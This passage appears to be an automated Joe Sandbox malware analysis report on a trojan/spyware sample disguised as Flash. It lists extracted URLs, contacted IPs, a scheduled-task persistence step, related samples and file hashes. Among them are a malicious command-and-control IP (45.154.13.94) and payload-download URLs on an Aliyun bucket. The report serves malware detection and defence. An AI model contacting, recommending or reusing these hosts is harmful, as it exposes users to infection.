http://image.excite.co.jp/jp/favicon/lep.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://%s.com	Flash.exe, 00000004.00000002.479779132.00000000059E0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://msk.afisha.ru/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/1-CS-443.luaj	luac.exe, 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	false		high
http://www.zhongyicts.com.cn	Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://busca.igbusca.com.br//app/static/images/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.flash.cn/help/article/article.php?id=135	Flash.exe, 00000004.00000002.479170637.0000000005100000.00000004.00000040.sdmp, Flash.exe, 00000004.00000002.482330930.0000000008DD2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.digicert-cn.com/GeoTrustCNRSACAG1.crt0	Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.rediff.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.ya.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
https://www.flash.cn/cdm/icons/flash125.png	Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.etmall.com.tw/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://it.search.dada.net/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.naver.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.google.ru/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.hanafos.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://45.154.13.94/updatesMy	luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cgi.search.biglobe.ne.jp/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.abril.com.br/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.daum.net/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.naver.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.msn.co.jp/results.aspx?q=	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.clarin.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://buscar.ozu.es/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://kr.search.yahoo.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.about.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://busca.igbusca.com.br/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.ask.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.priceminister.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.cjmall.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.centrum.cz/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.carterandcone.coml	Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://suche.t-online.de/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.google.it/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.auction.co.kr/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.ceneo.pl/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://127.0.0.1:	luac.exe, 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.amazon.de/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
https://45.154.13.94/updatesem32	luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://sads.myspace.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
https://www.flash.cn/category/user/agreement	Flash.exe, 00000004.00000002.493207907.000000000D330000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492064705.000000000CD29000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492105036.000000000CD39000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.481527809.00000000068D5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://busca.buscape.com.br/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.flash.cn/config/getCdnValue?key=zero_dayzero_dayS-%d-%disGroupAdmin	Flash.exe, 00000004.00000003.207618804.0000000002EF0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pchome.com.tw/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://browse.guardian.co.uk/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://google.pchome.com.tw/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://list.taobao.com/browse/search_visual.htm?n=15&q=	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.rambler.ru/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
https://45.154.13.94/updatesl	luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.flash.cn/cdm/ic~	Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://uk.search.yahoo.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
https://static.flash.cn/frontend/official/adobe_flash_helper_agreement.pdf	Flash.exe, 00000004.00000002.493207907.000000000D330000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492105036.000000000CD39000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.481527809.00000000068D5000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.485608077.000000000B070000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://espanol.search.yahoo.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.ozu.es/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.sify.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://openimage.interpark.com/interpark.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.yahoo.co.jp/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.gmarket.co.kr/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.nifty.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://searchresults.news.com.au/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.google.si/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.google.cz/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.soso.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.univision.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.ebay.it/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://images.joins.com/ui_c/fvc_joins.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.asharqalawsat.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://busca.orange.es/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://cnweb.search.live.com/results.aspx?q=	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://crl3.digi	Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.flash.cn/flashplayer/3400175/flashplayerax_3400175.xml	Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.479170637.0000000005100000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
101.33.11.25	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
47.254.186.176	eu-central-1.oss-acc.aliyuncs.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
101.33.10.52	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
211.152.136.41	36d6250d.tweb.sched.ovscdns.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
45.154.13.94	unknown	Netherlands	266827	BOHOBEACHCLUBSAHN	true
211.152.136.90	36d6250f.tweb.sched.ovscdns.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
47.75.19.154	lualibs.oss-cn-hongkong.aliyuncs.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	447941
Start date:	13.07.2021
Start time:	14:36:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	8v4iWYLvKJ.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	160
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal87.troj.spyw.evad.winEXE@272/1257@11/9
EGA Information:	Failed
HDC Information:	Successful, ratio: 17.3% (good quality ratio 16.5%) Quality average: 65.4% Quality standard deviation: 29%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 13.64.90.137, 40.88.32.150, 104.43.139.144, 20.82.209.183, 23.0.174.200, 23.0.174.185, 2.19.65.22, 15.236.176.210, 104.43.193.48, 40.112.88.60, 95.100.54.203, 20.49.157.6, 23.10.249.43, 23.10.249.26 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, stats.adobe.com, fusionpings.adobe.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, fusionpings.adobe.com, e4578.dscf.akamaiedge.net, blobcollector.events.data.trafficmanager.net, iris-de-ppe-azsc-uks.uksouth.cloudapp.azure.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtQueryVolumeInformationFile calls found. Report size getting too big, too many NtSetInformationFile calls found. Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:37:14	Task Scheduler	Run new task: Flash path: C:\Users\user\AppData\Roaming\Flash.exe
14:37:21	API Interceptor	5x Sleep call for process: Flash.exe modified
14:37:27	API Interceptor	4x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
47.254.186.176	WhQZ6UbCEY.exe	Get hash	malicious	Browse
101.33.10.52	y483xhG77x.exe	Get hash	malicious	Browse
	CEucHfJIv0.exe	Get hash	malicious	Browse
	2qPnTEJ3ZZ.exe	Get hash	malicious	Browse
	#U957f#U6c5f#U73af#U4fdd#U751f#U6001#U7cfb#U7edf-#U80e1#U7433#U7433-#U4e2a#U4eba#U7b80#U5386.exe	Get hash	malicious	Browse
211.152.136.41	https://www.sogou.com/	Get hash	malicious	Browse	img04.sogoucdn.com/v2/thumb/resize/w/128/h/96/ir/3/zi/on/iw/96/ih/72/crop/x/0/y/0/w/128/h/96?t=2&appid=200648&url=https%3A%2F%2Fpic2.zhimg.com%2Fv2-f222eb4efaac8e8f7efb849c21bce359_b.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
eu-central-1.oss-acc.aliyuncs.com	WhQZ6UbCEY.exe	Get hash	malicious	Browse	47.254.186.176
36d6250d.tweb.sched.ovscdns.com	z47wUPhysi.exe	Get hash	malicious	Browse	101.33.11.110
	jMsROA4853.exe	Get hash	malicious	Browse	211.152.136.89
	xe1eXfYa8L.exe	Get hash	malicious	Browse	211.152.136.87
	YiNty9sD11.exe	Get hash	malicious	Browse	211.152.136.89
	orhW4DgSpE.exe	Get hash	malicious	Browse	211.152.136.71
	ZNT73q3qWG.exe	Get hash	malicious	Browse	211.152.136.89
	1dWWqlPO9X.exe	Get hash	malicious	Browse	211.152.136.77
	y483xhG77x.exe	Get hash	malicious	Browse	211.152.136.87
	DuQMZf5KLI.exe	Get hash	malicious	Browse	203.205.224.59
	irMfUc0NY6.exe	Get hash	malicious	Browse	101.33.11.48
	aCeL772H7C.exe	Get hash	malicious	Browse	211.152.136.88
	CEucHfJIv0.exe	Get hash	malicious	Browse	101.33.10.52
	6yx1lxHN5L.exe	Get hash	malicious	Browse	101.33.11.88
	3DV0GRYK97.exe	Get hash	malicious	Browse	101.33.11.48
	1.exe	Get hash	malicious	Browse	211.152.136.77
	#U957f#U6c5f#U73af#U4fdd#U751f#U6001#U7cfb#U7edf-#U80e1#U7433#U7433-#U4e2a#U4eba#U7b80#U5386.exe	Get hash	malicious	Browse	101.33.10.52
	flashplayerpp_install_cn (1).exe	Get hash	malicious	Browse	211.152.136.89
lualibs.oss-cn-hongkong.aliyuncs.com	WhQZ6UbCEY.exe	Get hash	malicious	Browse	47.75.19.154
adobe.com.d1.sc.omtrdc.net	z47wUPhysi.exe	Get hash	malicious	Browse	15.188.95.229
	jMsROA4853.exe	Get hash	malicious	Browse	15.236.176.210
	YiNty9sD11.exe	Get hash	malicious	Browse	15.236.176.210
	orhW4DgSpE.exe	Get hash	malicious	Browse	15.188.95.229
	ZNT73q3qWG.exe	Get hash	malicious	Browse	15.188.95.229
	1dWWqlPO9X.exe	Get hash	malicious	Browse	15.188.95.229
	y483xhG77x.exe	Get hash	malicious	Browse	13.36.218.177
	DuQMZf5KLI.exe	Get hash	malicious	Browse	15.188.95.229
	aCeL772H7C.exe	Get hash	malicious	Browse	15.188.95.229
	CEucHfJIv0.exe	Get hash	malicious	Browse	15.188.95.229
	6yx1lxHN5L.exe	Get hash	malicious	Browse	15.236.176.210
	3DV0GRYK97.exe	Get hash	malicious	Browse	13.36.218.177
	1.exe	Get hash	malicious	Browse	15.236.176.210
	#U957f#U6c5f#U73af#U4fdd#U751f#U6001#U7cfb#U7edf-#U80e1#U7433#U7433-#U4e2a#U4eba#U7b80#U5386.exe	Get hash	malicious	Browse	15.237.136.106
	install_flashplayer11x32_mssa_aih.exe	Get hash	malicious	Browse	35.181.18.61
	flashplayerpp_install_cn (1).exe	Get hash	malicious	Browse	15.237.76.117
	https://na4.documents.adobe.com/public/esign?tsid=CBFCIBAA3AAABLblqZhB2iX6jVa7C1x9MSGt1geth5YYDH4M2JDCAcWcqhhgLV0fZugj5rbf5qFaEWcufPZItg1MCuEP5drSrTGzcJ2ES&	Get hash	malicious	Browse	15.237.76.117
	flashplay_install_zh.exe	Get hash	malicious	Browse	15.237.136.106
	ytSB8EulZy.exe	Get hash	malicious	Browse	15.188.154.177
	Download_Mp3.exe	Get hash	malicious	Browse	15.236.9.100

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	z47wUPhysi.exe	Get hash	malicious	Browse	101.33.11.48
	jMsROA4853.exe	Get hash	malicious	Browse	101.33.11.110
	xe1eXfYa8L.exe	Get hash	malicious	Browse	211.152.136.87
	YiNty9sD11.exe	Get hash	malicious	Browse	101.33.10.114
	orhW4DgSpE.exe	Get hash	malicious	Browse	101.33.11.110
	ZNT73q3qWG.exe	Get hash	malicious	Browse	211.152.136.41
	1dWWqlPO9X.exe	Get hash	malicious	Browse	101.33.11.45
	y483xhG77x.exe	Get hash	malicious	Browse	211.152.136.41
	DuQMZf5KLI.exe	Get hash	malicious	Browse	101.33.11.48
	irMfUc0NY6.exe	Get hash	malicious	Browse	101.33.11.48
	aCeL772H7C.exe	Get hash	malicious	Browse	101.33.11.88
	CEucHfJIv0.exe	Get hash	malicious	Browse	211.152.136.90
	6yx1lxHN5L.exe	Get hash	malicious	Browse	211.152.136.71
	Orden de pago.exe	Get hash	malicious	Browse	101.32.26.254
	com.tessunla.ka.apk	Get hash	malicious	Browse	203.205.235.81
	VooVMeeting_1410000198_2.12.3.530.publish.x86_64.dmg	Get hash	malicious	Browse	170.106.47.203
	3DV0GRYK97.exe	Get hash	malicious	Browse	101.33.11.48
	base.apk	Get hash	malicious	Browse	49.51.140.201
	2qPnTEJ3ZZ.exe	Get hash	malicious	Browse	203.205.239.248
	AUg4zbbjo6.exe	Get hash	malicious	Browse	203.205.224.59
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	PO_IMG_13072021_item.exe	Get hash	malicious	Browse	8.210.23.209
	0712_2210055252.doc	Get hash	malicious	Browse	8.211.241.0
	0712_4155631572.doc	Get hash	malicious	Browse	8.211.241.0
	0712_0838282133.doc	Get hash	malicious	Browse	8.211.241.0
	ter.dll	Get hash	malicious	Browse	8.211.241.0
	0712_2520287506.doc	Get hash	malicious	Browse	8.211.241.0
	0712_5267808768.doc	Get hash	malicious	Browse	8.211.241.0
	0712_0017864438.doc	Get hash	malicious	Browse	8.211.241.0
	0712_3830710356.doc	Get hash	malicious	Browse	8.211.241.0
	2021-07-12-Hancitor-DLL-example-03.dll	Get hash	malicious	Browse	8.211.241.0
	2021-07-12-Hancitor-DLL-example-05.dll	Get hash	malicious	Browse	8.211.241.0
	2021-07-12-Hancitor-DLL-example-06.dll	Get hash	malicious	Browse	8.211.241.0
	2021-07-12-Hancitor-DLL-example-04.dll	Get hash	malicious	Browse	8.211.241.0
	2021-07-12-Hancitor-DLL-example-02.dll	Get hash	malicious	Browse	8.211.241.0
	0712_2172200614.doc	Get hash	malicious	Browse	8.211.241.0
	0712_3006077542.doc	Get hash	malicious	Browse	8.211.241.0
	QppmM7JmZd.exe	Get hash	malicious	Browse	47.91.170.222
	triage_dropped_file.dll	Get hash	malicious	Browse	8.211.241.0
	ter.dll	Get hash	malicious	Browse	8.211.241.0
	5OuzeoQ6L8.exe	Get hash	malicious	Browse	47.75.19.237

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	SecuriteInfo.com.Scr.Malcodegdn34.20402.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	GbVqGgFffu.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	4DEv34R36N.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	s979cPVJeL.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	8lV4yAlU6o.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	6dCudgmxKY.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	HCRjk1hxOY.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	0VjjGsIIBB.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	cCEP3pyVp8.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	lsdfik.dll	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	k5LLH5t4Ff.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	xPHbi114zw.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	umbr.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	umbr.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	jMsROA4853.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	aCeL772H7C.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	6yx1lxHN5L.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	SecuriteInfo.com.W32.AIDetect.malware1.12780.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	XtbKzWmyio.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41
	HoodieFarm_V2.exe	Get hash	malicious	Browse	101.33.11.25 211.152.136.90 101.33.10.52 211.152.136.41

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\ProgramData\ShellExperienceHost\API-MS-Win-core-file-l2-1-0.dll	5OuzeoQ6L8.exe	Get hash	malicious	Browse
	r0SP9KsrOU.exe	Get hash	malicious	Browse
	NpXN1ALqEi.exe	Get hash	malicious	Browse
	yp6Uhua4w3.exe	Get hash	malicious	Browse
	z47wUPhysi.exe	Get hash	malicious	Browse
	kyVF5gD2PU.exe	Get hash	malicious	Browse
	uuii54oXgf.exe	Get hash	malicious	Browse
	xe1eXfYa8L.exe	Get hash	malicious	Browse
	GdMQH6mNQr.exe	Get hash	malicious	Browse
	Hdf285z1vz.exe	Get hash	malicious	Browse
	BPsNUQuoBO.exe	Get hash	malicious	Browse
	SvyjF4R5C0.exe	Get hash	malicious	Browse
	ljAPWDV2CM.exe	Get hash	malicious	Browse
	bBH89gF2QT.exe	Get hash	malicious	Browse
	YiNty9sD11.exe	Get hash	malicious	Browse
	2jqc1Hd53T.exe	Get hash	malicious	Browse
	2ESfoPUJVo.exe	Get hash	malicious	Browse
	WhQZ6UbCEY.exe	Get hash	malicious	Browse
	ZNT73q3qWG.exe	Get hash	malicious	Browse
	mvl22DqZF8.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\ShellExperienceHost\API-MS-Win-core-file-l2-1-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11792
Entropy (8bit):	6.747789003405816
Encrypted:	false
SSDEEP:	192:9VPlWphWAUD1S8f4DBQABJJX7T0q11qnajVtPxo2:9VdWphWdD1IDBRJJX7Tplxbz
MD5:	7BD70A0B41FF61D8A0FAB8DFB0328D92
SHA1:	29B437879F6B30293CBB37D6539DE81767C83798
SHA-256:	30399597B801D89CB7DA031EE82BF06685F2865A2AEE89356B71A387A484CBA4
SHA-512:	209EE90B05ABC7D9B0088D94BCD2872B84D27254135D0BBBF1933409B2C62FE9DC4666A4A6B06731D287208A16C813E0478003B5394DBC48C04E2A65AA08F3F9
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5OuzeoQ6L8.exe, Detection: malicious, Browse Filename: r0SP9KsrOU.exe, Detection: malicious, Browse Filename: NpXN1ALqEi.exe, Detection: malicious, Browse Filename: yp6Uhua4w3.exe, Detection: malicious, Browse Filename: z47wUPhysi.exe, Detection: malicious, Browse Filename: kyVF5gD2PU.exe, Detection: malicious, Browse Filename: uuii54oXgf.exe, Detection: malicious, Browse Filename: xe1eXfYa8L.exe, Detection: malicious, Browse Filename: GdMQH6mNQr.exe, Detection: malicious, Browse Filename: Hdf285z1vz.exe, Detection: malicious, Browse Filename: BPsNUQuoBO.exe, Detection: malicious, Browse Filename: SvyjF4R5C0.exe, Detection: malicious, Browse Filename: ljAPWDV2CM.exe, Detection: malicious, Browse Filename: bBH89gF2QT.exe, Detection: malicious, Browse Filename: YiNty9sD11.exe, Detection: malicious, Browse Filename: 2jqc1Hd53T.exe, Detection: malicious, Browse Filename: 2ESfoPUJVo.exe, Detection: malicious, Browse Filename: WhQZ6UbCEY.exe, Detection: malicious, Browse Filename: ZNT73q3qWG.exe, Detection: malicious, Browse Filename: mvl22DqZF8.exe, Detection: malicious, Browse
